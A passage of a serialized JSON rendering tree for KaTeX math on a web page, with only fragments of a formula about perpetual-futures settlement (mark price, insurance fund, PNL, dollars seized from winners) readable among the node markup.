lassName":160606},[2449,2450,2451,2452],[160608],{"type":20,"tag":315,"props":160609,"children":160611},{"className":160610},[2403,19992,2452],[160612],{"type":26,"value":2122},{"type":20,"tag":315,"props":160614,"children":160616},{"className":160615},[20149],[160617],{"type":26,"value":20152},{"type":20,"tag":315,"props":160619,"children":160621},{"className":160620},[2429],[160622],{"type":20,"tag":315,"props":160623,"children":160625},{"className":160624,"style":91388},[2434],[160626],{"type":20,"tag":315,"props":160627,"children":160628},{},[],{"type":20,"tag":315,"props":160630,"children":160631},{"style":159496},[160632,160636],{"type":20,"tag":315,"props":160633,"children":160635},{"className":160634,"style":159205},[2443],[],{"type":20,"tag":315,"props":160637,"children":160639},{"className":160638},[2403],[160640,160644,160648,160653,160657],{"type":20,"tag":315,"props":160641,"children":160643},{"className":160642},[2403],[],{"type":20,"tag":315,"props":160645,"children":160647},{"className":160646,"style":2581},[2483],[],{"type":20,"tag":315,"props":160649,"children":160651},{"className":160650},[2586],[160652],{"type":26,"value":337},{"type":20,"tag":315,"props":160654,"children":160656},{"className":160655,"style":2581},[2483],[],{"type":20,"tag":315,"props":160658,"children":160660},{"className":160659},[2403],[160661,160666],{"type":20,"tag":315,"props":160662,"children":160664},{"className":160663,"style":91791},[2403,19992],[160665],{"type":26,"value":159376},{"type":20,"tag":315,"props":160667,"children":160669},{"className":160668},[2419],[160670],{"type":20,"tag":315,"props":160671,"children":160673},{"className":160672},[2424,20046],[160674,160722],{"type":20,"tag":315,"props":160675,"children":160677},{"className":160676},[2429],[160678,160717],{"type":20,"tag":315,"props":160679,"children":160682},{"className":160680,"style":160681},[2434],"height:0.8213em;",[160683,160700],{"type":20,"tag":315,"props":160684,"children":160686},{"style":160685},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[160687,160691],{"type":20,"tag":315,"props":160688,"children":160690},{"className":160689,"style":2444},[2443],[],{"type":20,"tag":315,"props":160692,"children":160694},{"className":160693},[2449,2450,2451,2452],[160695],{"type":20,"tag":315,"props":160696,"children":160698},{"className":160697},[2403,19992,2452],[160699],{"type":26,"value":2122},{"type":20,"tag":315,"props":160701,"children":160703},{"style":160702},"top:-3.113em;margin-right:0.05em;",[160704,160708],{"type":20,"tag":315,"props":160705,"children":160707},{"className":160706,"style":2444},[2443],[],{"type":20,"tag":315,"props":160709,"children":160711},{"className":160710},[2449,2450,2451,2452],[160712],{"type":20,"tag":315,"props":160713,"children":160715},{"className":160714},[2489,2452],[160716],{"type":26,"value":817},{"type":20,"tag":315,"props":160718,"children":160720},{"className":160719},[20149],[160721],{"type":26,"value":20152},{"type":20,"tag":315,"props":160723,"children":160725},{"className":160724},[2429],[160726],{"type":20,"tag":315,"props":160727,"children":160730},{"className":160728,"style":160729},[2434],"height:0.267em;",[160731],{"type":20,"tag":315,"props":160732,"children":160733},{},[],{"type":20,"tag":315,"props":160735,"children":160736},{"style":159566},[160737,160741],{"type":20,"tag":315,"props":160738,"children":160740},{"className":160739,"style":159205},[2443],[],{"type":20,"tag":315,"props":160742,"children":160744},{"className":160743},[2403],[160745,160749,160753,160758,160762,160772],{"type":20,"tag":315,"props":160746,"children":160748},{"className":160747},[2403],[],{"type":20,"tag":315,"props":160750,"children":160752},{"className":160751,"style":2581},[2483],[],{"type":20,"tag":315,"props":160754,"children":160756},{"className":160755},[2586],[160757],{"type":26,"value":20011},{"type":20,"tag":315,"props":160759,"children":160761},{"className":160760,"style":2581},[2483],[],{"type":20,"tag":315,"props":160763,"children":160765},{"className":160764},[2403,26],[160766],{"type":20,"tag":315,"props":160767,"children":160769},{"className":160768},[2403],[160770],{"type":26,"value":160771},"dollars seized from winner ",{"type":20,"tag":315,"props":160773,"children":160775},{"className":160774},[2403,19992],[160776],{"type":26,"value":2122},{"type":20,"tag":315,"props":160778,"children":160779},{"style":159635},[160780,160784],{"type":20,"tag":315,"props":160781,"children":160783},{"className":160782,"style":159205},[2443],[],{"type":20,"tag":315,"props":160785,"children":160787},{"className":160786},[2403],[160788,160792,160796,160801,160805],{"type":20,"tag":315,"props":160789,"children":160791},{"className":160790},[2403],[],{"type":20,"tag":315,"props":160793,"children":160795},{"className":160794,"style":2581},[2483],[],{"type":20,"tag":315,"props":160797,"children":160799},{"className":160798},[2586],[160800],{"type":26,"value":337},{"type":20,"tag":315,"props":160802,"children":160804},{"className":160803,"style":2581},[2483],[],{"type":20,"tag":315,"props":160806,"children":160808},{"className":160807},[2403],[160809,160813,160994],{"type":20,"tag":315,"props":160810,"children":160812},{"className":160811},[20121,111823],[],{"type":20,"tag":315,"props":160814,"children":160816},{"className":160815},[111828],[160817],{"type":20,"tag":315,"props":160818,"children":160820},{"className":160819},[2424,20046],[160821,160982],{"type":20,"tag":315,"props":160822,"children":160824},{"className":160823},[2429],[160825,160977],{"type":20,"tag":315,"props":160826,"children":160829},{"className":160827,"style":160828},[2434],"height:1.1076em;",[160830,160898,160909],{"type":20,"tag":315,"props":160831,"children":160832},{"style":157414},[160833,160837],{"type":20,"tag":315,"props":160834,"children":160836},{"className":160835,"style":110476},[2443],[],{"type":20,"tag":315,"props":160838,"children":160840},{"className":160839},[2403],[160841],{"type":20,"tag":315,"props":160842,"children":160844},{"className":160843},[2403],[160845,160850],{"type":20,"tag":315,"props":160846,"children":160848},{"className":160847,"style":120585},[2403,19992],[160849],{"type":26,"value":47823},{"type":20,"tag":315,"props":160851,"children":160853},{"className":160852},[2419],[160854],{"type":20,"tag":315,"props":160855,"children":160857},{"className":160856},[2424,20046],[160858,160887],{"type":20,"tag":315,"props":160859,"children":160861},{"className":160860},[2429],[160862,160882],{"type":20,"tag":315,"props":160863,"children":160865},{"className":160864,"style":91834},[2434],[160866],{"type":20,"tag":315,"props":160867,"children":160868},{"style":159533},[160869,160873],{"type":20,"tag":315,"props":160870,"children":160872},{"className":160871,"style":2444},[2443],[],{"type":20,"tag":315,"props":160874,"children":160876},{"className":160875},[2449,2450,2451,2452],[160877],{"type":20,"tag":315,"props":160878,"children":160880},{"className":160879},[2403,19992,2452],[160881],{"type":26,"value":2122},{"type":20,"tag":315,"props":160883,"children":160885},{"className":160884},[20149],[160886],{"type":26,"value":20152},{"type":20,"tag":315,"props":160888,"children":160890},{"className":160889},[2429],[160891],{"type":20,"tag":315,"props":160892,"children":160894},{"className":160893,"style":91388},[2434],[160895],{"type":20,"tag":315,"props":160896,"children":160897},{},[],{"type":20,"tag":315,"props":160899,"children":160900},{"style":111878},[160901,160905],{"type":20,"tag":315,"props":160902,"children":160904},{"className":160903,"style":110476},[2443],[],{"type":20,"tag":315,"props":160906,"children":160908},{"className":160907,"style":111888},[111887],[],{"type":20,"tag":315,"props":160910,"children":160911},{"style":157465},[160912,160916],{"type":20,"tag":315,"props":160913,"children":160915},{"className":160914,"style":110476},[2443],[],{"type":20,"tag":315,"props":160917,"children":160919},{"className":160918},[2403],[160920],{"type":20,"tag":315,"props":160921,"children":160923},{"className":160922},[2403],[160924,160929],{"type":20,"tag":315,"props":160925,"children":160927},{"className":160926},[2403,19992],[160928],{"type":26,"value":17680},{"type":20,"tag":315,"props":160930,"children":160932},{"className":160931},[2419],[160933],{"type":20,"tag":315,"props":160934,"children":160936},{"className":160935},[2424,20046],[160937,160966],{"type":20,"tag":315,"props":160938,"children":160940},{"className":160939},[2429],[160941,160961],{"type":20,"tag":315,"props":160942,"children":160944},{"className":160943,"style":91834},[2434],[160945],{"type":20,"tag":315,"props":160946,"children":160947},{"style":91361},[160948,160952],{"type":20,"tag":315,"props":160949,"children":160951},{"className":160950,"style":2444},[2443],[],{"type":20,"tag":315,"props":160953,"children":160955},{"className":160954},[2449,2450,2451,2452],[160956],{"type":20,"tag":315,"props":160957,"children":160959},{"className":160958},[2403,19992,2452],[160960],{"type":26,"value":2122},{"type":20,"tag":315,"props":160962,"children":160964},{"className":160963},[20149],[160965],{"type":26,"value":20152},{"type":20,"tag":315,"props":160967,"children":160969},{"className":160968},[2429],[160970],{"type":20,"tag":315,"props":160971,"children":160973},{"className":160972,"style":91388},[2434],[160974],{"type":20,"tag":315,"props":160975,"children":160976},{},[],{"type":20,"tag":315,"props":160978,"children":160980},{"className":160979},[20149],[160981],{"type":26,"value":20152},{"type":20,"tag":315,"props":160983,"children":160985},{"className":160984},[2429],[160986],{"type":20,"tag":315,"props":160987,"children":160990},{"className":160988,"style":160989},[2434],"height:0.836em;",[160991],{"type":20,"tag":315,"props":160992,"children":160993},{},[],{"type":20,"tag":315,"props":160995,"children":160997},{"className":160996},[20143,111823],[],{"type":20,"tag":315,"props":160999,"children":161000},{"style":159704},[161001,161005],{"type":20,"tag":315,"props":161002,"children":161004},{"className":161003,"style":159205},[2443],[],{"type":20,"tag":315,"props":161006,"children":161008},{"className":161007},[2403],[161009,161013,161017,161022,161026,161096,161100],{"type":20,"tag":315,"props":161010,"children":161012},{"className":161011},[2403],[],{"type":20,"tag":315,"props":161014,"children":161016},{"className":161015,"style":2581},[2483],[],{"type":20,"tag":315,"props":161018,"children":161020},{"className":161019},[2586],[161021],{"type":26,"value":337},{"type":20,"tag":315,"props":161023,"children":161025},{"className":161024,"style":2581},[2483],[],{"type":20,"tag":315,"props":161027,"children":161030},{"className":161028},[20028,161029],"op-limits",[161031],{"type":20,"tag":315,"props":161032,"children":161034},{"className":161033},[2424,20046],[161035,161084],{"type":20,"tag":315,"props":161036,"children":161038},{"className":161037},[2429],[161039,161079],{"type":20,"tag":315,"props":161040,"children":161043},{"className":161041,"style":161042},[2434],"height:1.05em;",[161044,161062],{"type":20,"tag":315,"props":161045,"children":161047},{"style":161046},"top:-1.8723em;margin-left:0em;",[161048,161053],{"type":20,"tag":315,"props":161049,"children":161052},{"className":161050,"style":161051},[2443],"height:3.05em;",[],{"type":20,"tag":315,"props":161054,"children":161056},{"className":161055},[2449,2450,2451,2452],[161057],{"type":20,"tag":315,"props":161058,"children":161060},{"className":161059},[2403,19992,2452],[161061],{"type":26,"value":2122},{"type":20,"tag":315,"props":161063,"children":161065},{"style":161064},"top:-3.05em;",[161066,161070],{"type":20,"tag":315,"props":161067,"children":161069},{"className":161068,"style":161051},[2443],[],{"type":20,"tag":315,"props":161071,"children":161072},{},[161073],{"type":20,"tag":315,"props":161074,"children":161077},{"className":161075},[20028,20033,161076],"large-op",[161078],{"type":26,"value":107100},{"type":20,"tag":315,"props":161080,"children":161082},{"className":161081},[20149],[161083],{"type":26,"value":20152},{"type":20,"tag":315,"props":161085,"children":161087},{"className":161086},[2429],[161088],{"type":20,"tag":315,"props":161089,"children":161092},{"className":161090,"style":161091},[2434],"height:1.2777em;",[161093],{"type":20,"tag":315,"props":161094,"children":161095},{},[],{"type":20,"tag":315,"props":161097,"children":161099},{"className":161098,"style":2522},[2483],[],{"type":20,"tag":315,"props":161101,"children":161103},{"className":161102},[2403],[161104,161109],{"type":20,"tag":315,"props":161105,"children":161107},{"className":161106},[2403,19992],[161108],{"type":26,"value":17680},{"type":20,"tag":315,"props":161110,"children":161112},{"className":161111},[2419],[161113],{"type":20,"tag":315,"props":161114,"children":161116},{"className":161115},[2424,20046],[161117,161146],{"type":20,"tag":315,"props":161118,"children":161120},{"className":161119},[2429],[161121,161141],{"type":20,"tag":315,"props":161122,"children":161124},{"className":161123,"style":91834},[2434],[161125],{"type":20,"tag":315,"props":161126,"children":161127},{"style":91361},[161128,161132],{"type":20,"tag":315,"props":161129,"children":161131},{"className":161130,"style":2444},[2443],[],{"type":20,"tag":315,"props":161133,"children":161135},{"className":161134},[2449,2450,2451,2452],[161136],{"type":20,"tag":315,"props":161137,"children":161139},{"className":161138},[2403,19992,2452],[161140],{"type":26,"value":2122},{"type":20,"tag":315,"props":161142,"children":161144},{"className":161143},[20149],[161145],{"type":26,"value":20152},{"type":20,"tag":315,"props":161147,"children":161149},{"className":161148},[2429],[161150],{"type":20,"tag":315,"props":161151,"children":161153},{"className":161152,"style":91388},[2434],[161154],{"type":20,"tag":315,"props":161155,"children":161156},{},[],{"type":20,"tag":315,"props":161158,"children":161159},{"style":159773},[161160,161164],{"type":20,"tag":315,"props":161161,"children":161163},{"className":161162,"style":159205},[2443],[],{"type":20,"tag":315,"props":161165,"children":161167},{"className":161166},[2403],[161168,161172,161176,161181,161185,161248,161252,161257,161262,161267,161324,161329,161333,161337,161342],{"type":20,"tag":315,"props":161169,"children":161171},{"className":161170},[2403],[],{"type":20,"tag":315,"props":161173,"children":161175},{"className":161174,"style":2581},[2483],[],{"type":20,"tag":315,"props":161177,"children":161179},{"className":161178},[2586],[161180],{"type":26,"value":337},{"type":20,"tag":315,"props":161182,"children":161184},{"className":161183,"style":2581},[2483],[],{"type":20,"tag":315,"props":161186,"children":161188},{"className":161187},[20028,161029],[161189],{"type":20,"tag":315,"props":161190,"children":161192},{"className":161191},[2424,20046],[161193,161237],{"type":20,"tag":315,"props":161194,"children":161196},{"className":161195},[2429],[161197,161232],{"type":20,"tag":315,"props":161198,"children":161200},{"className":161199,"style":161042},[2434],[161201,161217],{"type":20,"tag":315,"props":161202,"children":161203},{"style":161046},[161204,161208],{"type":20,"tag":315,"props":161205,"children":161207},{"className":161206,"style":161051},[2443],[],{"type":20,"tag":315,"props":161209,"children":161211},{"className":161210},[2449,2450,2451,2452],[161212],{"type":20,"tag":315,"props":161213,"children":161215},{"className":161214},[2403,19992,2452],[161216],{"type":26,"value":2122},{"type":20,"tag":315,"props":161218,"children":161219},{"style":161064},[161220,161224],{"type":20,"tag":315,"props":161221,"children":161223},{"className":161222,"style":161051},[2443],[],{"type":20,"tag":315,"props":161225,"children":161226},{},[161227],{"type":20,"tag":315,"props":161228,"children":161230},{"className":161229},[20028,20033,161076],[161231],{"type":26,"value":107100},{"type":20,"tag":315,"props":161233,"children":161235},{"className":161234},[20149],[161236],{"type":26,"value":20152},{"type":20,"tag":315,"props":161238,"children":161240},{"className":161239},[2429],[161241],{"type":20,"tag":315,"props":161242,"children":161244},{"className":161243,"style":161091},[2434],[161245],{"type":20,"tag":315,"props":161246,"children":161247},{},[],{"type":20,"tag":315,"props":161249,"children":161251},{"className":161250,"style":2522},[2483],[],{"type":20,"tag":315,"props":161253,"children":161255},{"className":161254},[20028],[161256],{"type":26,"value":158919},{"type":20,"tag":315,"props":161258,"children":161260},{"className":161259},[20121],[161261],{"type":26,"value":1049},{"type":20,"tag":315,"props":161263,"children":161265},{"className":161264},[2403],[161266],{"type":26,"value":2463},{"type":20,"tag":315,"props":161268,"children":161270},{"className":161269},[2403],[161271,161276],{"type":20,"tag":315,"props":161272,"children":161274},{"className":161273},[2403,19992],[161275],{"type":26,"value":49706},{"type":20,"tag":315,"props":161277,"children":161279},{"className":161278},[2419],[161280],{"type":20,"tag":315,"props":161281,"children":161283},{"className":161282},[2424,20046],[161284,161313],{"type":20,"tag":315,"props":161285,"children":161287},{"className":161286},[2429],[161288,161308],{"type":20,"tag":315,"props":161289,"children":161291},{"className":161290,"style":91834},[2434],[161292],{"type":20,"tag":315,"props":161293,"children":161294},{"style":91361},[161295,161299],{"type":20,"tag":315,"props":161296,"children":161298},{"className":161297,"style":2444},[2443],[],{"type":20,"tag":315,"props":161300,"children":161302},{"className":161301},[2449,2450,2451,2452],[161303],{"type":20,"tag":315,"props":161304,"children":161306},{"className":161305},[2403,19992,2452],[161307],{"type":26,"value":2122},{"type":20,"tag":315,"props":161309,"children":161311},{"className":161310},[20149],[161312],{"type":26,"value":20152},{"type":20,"tag":315,"props":161314,"children":161316},{"className":161315},[2429],[161317],{"type":20,"tag":315,"props":161318,"children":161320},{"className":161319,"style":91388},[2434],[161321],{"type":20,"tag":315,"props":161322,"children":161323},{},[],{"type":20,"tag":315,"props":161325,"children":161327},{"className":161326},[2515],[161328],{"type":26,"value":2518},{"type":20,"tag":315,"props":161330,"children":161332},{"className":161331,"style":2522},[2483],[],{"type":20,"tag":315,"props":161334,"children":161336},{"className":161335,"style":2522},[2483],[],{"type":20,"tag":315,"props":161338,"children":161340},{"className":161339},[2403],[161341],{"type":26,"value":1063},{"type":20,"tag":315,"props":161343,"children":161345},{"className":161344},[20143],[161346],{"type":26,"value":1509},{"type":20,"tag":315,"props":161348,"children":161349},{"style":159843},[161350,161354],{"type":20,"tag":315,"props":161351,"children":161353},{"className":161352,"style":159205},[2443],[],{"type":20,"tag":315,"props":161355,"children":161357},{"className":161356},[2403],[161358,161362,161366,161371,161375,161438,161442],{"type":20,"tag":315,"props":161359,"children":161361},{"className":161360},[2403],[],{"type":20,"tag":315,"props":161363,"children":161365},{"className":161364,"style":2581},[2483],[],{"type":20,"tag":315,"props":161367,"children":161369},{"className":161368},[2586],[161370],{"type":26,"value":337},{"type":20,"tag":315,"props":161372,"children":161374},{"className":161373,"style":2581},[2483],[],{"type":20,"tag":315,"props":161376,"children":161378},{"className":161377},[20028,161029],[161379],{"type":20,"tag":315,"props":161380,"children":161382},{"className":161381},[2424,20046],[161383,161427],{"type":20,"tag":315,"props":161384,"children":161386},{"className":161385},[2429],[161387,161422],{"type":20,"tag":315,"props":161388,"children":161390},{"className":161389,"style":161042},[2434],[161391,161407],{"type":20,"tag":315,"props":161392,"children":161393},{"style":161046},[161394,161398],{"type":20,"tag":315,"props":161395,"children":161397},{"className":161396,"style":161051},[2443],[],{"type":20,"tag":315,"props":161399,"children":161401},{"className":161400},[2449,2450,2451,2452],[161402],{"type":20,"tag":315,"props":161403,"children":161405},{"className":161404},[2403,19992,2452],[161406],{"type":26,"value":2122},{"type":20,"tag":315,"props":161408,"children":161409},{"style":161064},[161410,161414],{"type":20,"tag":315,"props":161411,"children":161413},{"className":161412,"style":161051},[2443],[],{"type":20,"tag":315,"props":161415,"children":161416},{},[161417],{"type":20,"tag":315,"props":161418,"children":161420},{"className":161419},[20028,20033,161076],[161421],{"type":26,"value":107100},{"type":20,"tag":315,"props":161423,"children":161425},{"className":161424},[20149],[161426],{"type":26,"value":20152},{"type":20,"tag":315,"props":161428,"children":161430},{"className":161429},[2429],[161431],{"type":20,"tag":315,"props":161432,"children":161434},{"className":161433,"style":161091},[2434],[161435],{"type":20,"tag":315,"props":161436,"children":161437},{},[],{"type":20,"tag":315,"props":161439,"children":161441},{"className":161440,"style":2522},[2483],[],{"type":20,"tag":315,"props":161443,"children":161445},{"className":161444},[2403],[161446,161451],{"type":20,"tag":315,"props":161447,"children":161449},{"className":161448,"style":120585},[2403,19992],[161450],{"type":26,"value":47823},{"type":20,"tag":315,"props":161452,"children":161454},{"className":161453},[2419],[161455],{"type":20,"tag":315,"props":161456,"children":161458},{"className":161457},[2424,20046],[161459,161488],{"type":20,"tag":315,"props":161460,"children":161462},{"className":161461},[2429],[161463,161483],{"type":20,"tag":315,"props":161464,"children":161466},{"className":161465,"style":91834},[2434],[161467],{"type":20,"tag":315,"props":161468,"children":161469},{"style":159533},[161470,161474],{"type":20,"tag":315,"props":161471,"children":161473},{"className":161472,"style":2444},[2443],[],{"type":20,"tag":315,"props":161475,"children":161477},{"className":161476},[2449,2450,2451,2452],[161478],{"type":20,"tag":315,"props":161479,"children":161481},{"className":161480},[2403,19992,2452],[161482],{"type":26,"value":2122},{"type":20,"tag":315,"props":161484,"children":161486},{"className":161485},[20149],[161487],{"type":26,"value":20152},{"type":20,"tag":315,"props":161489,"children":161491},{"className":161490},[2429],[161492],{"type":20,"tag":315,"props":161493,"children":161495},{"className":161494,"style":91388},[2434],[161496],{"type":20,"tag":315,"props":161497,"children":161498},{},[],{"type":20,"tag":315,"props":161500,"children":161501},{"style":159914},[161502,161506],{"type":20,"tag":315,"props":161503,"children":161505},{"className":161504,"style":159205},[2443],[],{"type":20,"tag":315,"props":161507,"children":161509},{"className":161508},[2403],[161510,161514,161518,161523,161527,161532,161537,161594,161598,161603,161607,161612,161616,161621,161625,161682,161687,161691,161695,161700],{"type":20,"tag":315,"props":161511,"children":161513},{"className":161512},[2403],[],{"type":20,"tag":315,"props":161515,"children":161517},{"className":161516,"style":2581},[2483],[],{"type":20,"tag":315,"props":161519,"children":161521},{"className":161520},[2586],[161522],{"type":26,"value":337},{"type":20,"tag":315,"props":161524,"children":161526},{"className":161525,"style":2581},[2483],[],{"type":20,"tag":315,"props":161528,"children":161530},{"className":161529},[20028],[161531],{"type":26,"value":158919},{"type":20,"tag":315,"props":161533,"children":161535},{"className":161534},[20121],[161536],{"type":26,"value":1049},{"type":20,"tag":315,"props":161538,"children":161540},{"className":161539},[2403],[161541,161546],{"type":20,"tag":315,"props":161542,"children":161544},{"className":161543,"style":91305},[2403,19992],[161545],{"type":26,"value":159792},{"type":20,"tag":315,"props":161547,"children":161549},{"className":161548},[2419],[161550],{"type":20,"tag":315,"props":161551,"children":161553},{"className":161552},[2424,20046],[161554,161583],{"type":20,"tag":315,"props":161555,"children":161557},{"className":161556},[2429],[161558,161578],{"type":20,"tag":315,"props":161559,"children":161561},{"className":161560,"style":140860},[2434],[161562],{"type":20,"tag":315,"props":161563,"children":161564},{"style":108304},[161565,161569],{"type":20,"tag":315,"props":161566,"children":161568},{"className":161567,"style":2444},[2443],[],{"type":20,"tag":315,"props":161570,"children":161572},{"className":161571},[2449,2450,2451,2452],[161573],{"type":20,"tag":315,"props":161574,"children":161576},{"className":161575,"style":19993},[2403,19992,2452],[161577],{"type":26,"value":4381},{"type":20,"tag":315,"props":161579,"children":161581},{"className":161580},[20149],[161582],{"type":26,"value":20152},{"type":20,"tag":315,"props":161584,"children":161586},{"className":161585},[2429],[161587],{"type":20,"tag":315,"props":161588,"children":161590},{"className":161589,"style":91388},[2434],[161591],{"type":20,"tag":315,"props":161592,"children":161593},{},[],{"type":20,"tag":315,"props":161595,"children":161597},{"className":161596,"style":2484},[2483],[],{"type":20,"tag":315,"props":161599,"children":161601},{"className":161600},[2489],[161602],{"type":26,"value":2463},{"type":20,"tag":315,"props":161604,"children":161606},{"className":161605,"style":2484},[2483],[],{"type":20,"tag":315,"props":161608,"children":161610},{"className":161609,"style":93325},[2403,19992],[161611],{"type":26,"value":93359},{"type":20,"tag":315,"props":161613,"children":161615},{"className":161614,"style":2484},[2483],[],{"type":20,"tag":315,"props":161617,"children":161619},{"className":161618},[2489],[161620],{"type":26,"value":2463},{"type":20,"tag":315,"props":161622,"children":161624},{"className":161623,"style":2484},[2483],[],{"type":20,"tag":315,"props":161626,"children":161628},{"className":161627},[2403],[161629,161634],{"type":20,"tag":315,"props":161630,"children":161632},{"className":161631,"style":91539},[2403,19992],[161633],{"type":26,"value":91542},{"type":20,"tag":315,"props":161635,"children":161637},{"className":161636},[2419],[161638],{"type":20,"tag":315,"props":161639,"children":161641},{"className":161640},[2424,20046],[161642,161671],{"type":20,"tag":315,"props":161643,"children":161645},{"className":161644},[2429],[161646,161666],{"type":20,"tag":315,"props":161647,"children":161649},{"className":161648,"style":140860},[2434],[161650],{"type":20,"tag":315,"props":161651,"children":161652},{"style":108734},[161653,161657],{"type":20,"tag":315,"props":161654,"children":161656},{"className":161655,"style":2444},[2443],[],{"type":20,"tag":315,"props":161658,"children":161660},{"className":161659},[2449,2450,2451,2452],[161661],{"type":20,"tag":315,"props":161662,"children":161664},{"className":161663,"style":19993},[2403,19992,2452],[161665],{"type":26,"value":4381},{"type":20,"tag":315,"props":161667,"children":161669},{"className":161668},[20149],[161670],{"type":26,"value":20152},{"type":20,"tag":315,"props":161672,"children":161674},{"className":161673},[2429],[161675],{"type":20,"tag":315,"props":161676,"children":161678},{"className":161677,"style":91388},[2434],[161679],{"type":20,"tag":315,"props":161680,"children":161681},{},[],{"type":20,"tag":315,"props":161683,"children":161685},{"className":161684},[2515],[161686],{"type":26,"value":2518},{"type":20,"tag":315,"props":161688,"children":161690},{"className":161689,"style":2522},[2483],[],{"type":20,"tag":315,"props":161692,"children":161694},{"className":161693,"style":2522},[2483],[],{"type":20,"tag":315,"props":161696,"children":161698},{"className":161697},[2403],[161699],{"type":26,"value":1063},{"type":20,"tag":315,"props":161701,"children":161703},{"className":161702},[20143],[161704],{"type":26,"value":1509},{"type":20,"tag":315,"props":161706,"children":161708},{"className":161707},[20149],[161709],{"type":26,"value":20152},{"type":20,"tag":315,"props":161711,"children":161713},{"className":161712},[2429],[161714],{"type":20,"tag":315,"props":161715,"children":161717},{"className":161716,"style":159995},[2434],[161718],{"type":20,"tag":315,"props":161719,"children":161720},{},[],{"type":20,"tag":29,"props":161722,"children":161723},{},[161724,161725,161802,161804,161829,161831,161908,161910,161987],{"type":26,"value":1049},{"type":20,"tag":119,"props":161726,"children":161728},{"className":161727},[2375,2376],[161729],{"type":20,"tag":315,"props":161730,"children":161732},{"className":161731},[2381],[161733],{"type":20,"tag":315,"props":161734,"children":161736},{"className":161735,"ariaHidden":2387},[2386],[161737],{"type":20,"tag":315,"props":161738,"children":161740},{"className":161739},[2392],[161741,161745],{"type":20,"tag":315,"props":161742,"children":161744},{"className":161743,"style":109302},[2397],[],{"type":20,"tag":315,"props":161746,"children":161748},{"className":161747},[2403],[161749,161754],{"type":20,"tag":315,"props":161750,"children":161752},{"className":161751,"style":19993},[2403,19992],[161753],{"type":26,"value":19996},{"type":20,"tag":315,"props":161755,"children":161757},{"className":161756},[2419],[161758],{"type":20,"tag":315,"props":161759,"children":161761},{"className":161760},[2424,20046],[161762,161791],{"type":20,"tag":315,"props":161763,"children":161765},{"className":161764},[2429],[161766,161786],{"type":20,"tag":315,"props":161767,"children":161769},{"className":161768,"style":107737},[2434],[161770],{"type":20,"tag":315,"props":161771,"children":161772},{"style":159238},[161773,161777],{"type":20,"tag":315,"props":161774,"children":161776},{"className":161775,"style":2444},[2443],[],{"type":20,"tag":315,"props":161778,"children":161780},{"className":161779},[2449,2450,2451,2452],[161781],{"type":20,"tag":315,"props":161782,"children":161784},{"className":161783},[2403,19992,2452],[161785],{"type":26,"value":54656},{"type":20,"tag":315,"props":161787,"children":161789},{"className":161788},[20149],[161790],{"type":26,"value":20152},{"type":20,"tag":315,"props":161792,"children":161794},{"className":161793},[2429],[161795],{"type":20,"tag":315,"props":161796,"children":161798},{"className":161797,"style":91388},[2434],[161799],{"type":20,"tag":315,"props":161800,"children":161801},{},[],{"type":26,"value":161803},": mark price from different sources; ",{"type":20,"tag":119,"props":161805,"children":161807},{"className":161806},[2375,2376],[161808],{"type":20,"tag":315,"props":161809,"children":161811},{"className":161810},[2381],[161812],{"type":20,"tag":315,"props":161813,"children":161815},{"className":161814,"ariaHidden":2387},[2386],[161816],{"type":20,"tag":315,"props":161817,"children":161819},{"className":161818},[2392],[161820,161824],{"type":20,"tag":315,"props":161821,"children":161823},{"className":161822,"style":19987},[2397],[],{"type":20,"tag":315,"props":161825,"children":161827},{"className":161826,"style":93325},[2403,19992],[161828],{"type":26,"value":93359},{"type":26,"value":161830},": insurance fund, roughly the 5M on testnet HL; ",{"type":20,"tag":119,"props":161832,"children":161834},{"className":161833},[2375,2376],[161835],{"type":20,"tag":315,"props":161836,"children":161838},{"className":161837},[2381],[161839],{"type":20,"tag":315,"props":161840,"children":161842},{"className":161841,"ariaHidden":2387},[2386],[161843],{"type":20,"tag":315,"props":161844,"children":161846},{"className":161845},[2392],[161847,161851],{"type":20,"tag":315,"props":161848,"children":161850},{"className":161849,"style":108275},[2397],[],{"type":20,"tag":315,"props":161852,"children":161854},{"className":161853},[2403],[161855,161860],{"type":20,"tag":315,"props":161856,"children":161858},{"className":161857,"style":91791},[2403,19992],[161859],{"type":26,"value":159376},{"type":20,"tag":315,"props":161861,"children":161863},{"className":161862},[2419],[161864],{"type":20,"tag":315,"props":161865,"children":161867},{"className":161866},[2424,20046],[161868,161897],{"type":20,"tag":315,"props":161869,"children":161871},{"className":161870},[2429],[161872,161892],{"type":20,"tag":315,"props":161873,"children":161875},{"className":161874,"style":91834},[2434],[161876],{"type":20,"tag":315,"props":161877,"children":161878},{"style":91838},[161879,161883],{"type":20,"tag":315,"props":161880,"children":161882},{"className":161881,"style":2444},[2443],[],{"type":20,"tag":315,"props":161884,"children":161886},{"className":161885},[2449,2450,2451,2452],[161887],{"type":20,"tag":315,"props":161888,"children":161890},{"className":161889},[2403,19992,2452],[161891],{"type":26,"value":2122},{"type":20,"tag":315,"props":161893,"children":161895},{"className":161894},[20149],[161896],{"type":26,"value":20152},{"type":20,"tag":315,"props":161898,"children":161900},{"className":161899},[2429],[161901],{"type":20,"tag":315,"props":161902,"children":161904},{"className":161903,"style":91388},[2434],[161905],{"type":20,"tag":315,"props":161906,"children":161907},{},[],{"type":26,"value":161909}," is PNL for longs, negated for shorts; ",{"type":20,"tag":119,"props":161911,"children":161913},{"className":161912},[2375,2376],[161914],{"type":20,"tag":315,"props":161915,"children":161917},{"className":161916},[2381],[161918],{"type":20,"tag":315,"props":161919,"children":161921},{"className":161920,"ariaHidden":2387},[2386],[161922],{"type":20,"tag":315,"props":161923,"children":161925},{"className":161924},[2392],[161926,161930],{"type":20,"tag":315,"props":161927,"children":161929},{"className":161928,"style":108275},[2397],[],{"type":20,"tag":315,"props":161931,"children":161933},{"className":161932},[2403],[161934,161939],{"type":20,"tag":315,"props":161935,"children":161937},{"className":161936,"style":120585},[2403,19992],[161938],{"type":26,"value":47823},{"type":20,"tag":315,"props":161940,"children":161942},{"className":161941},[2419],[161943],{"type":20,"tag":315,"props":161944,"children":161946},{"className":161945},[2424,20046],[161947,161976],{"type":20,"tag":315,"props":161948,"children":161950},{"className":161949},[2429],[161951,161971],{"type":20,"tag":315,"props":161952,"children":161954},{"className":161953,"style":91834},[2434],[161955],{"type":20,"tag":315,"props":161956,"children":161957},{"style":159533},[161958,161962],{"type":20,"tag":315,"props":161959,"children":161961},{"className":161960,"style":2444},[2443],[],{"type":20,"tag":315,"props":161963,"children":161965},{"className":161964},[2449,2450,2451,2452],[161966],{"type":20,"tag":315,"props":161967,"children":161969},{"className":161968},[2403,19992,2452],[161970],{"type":26,"value":2122},{"type":20,"ta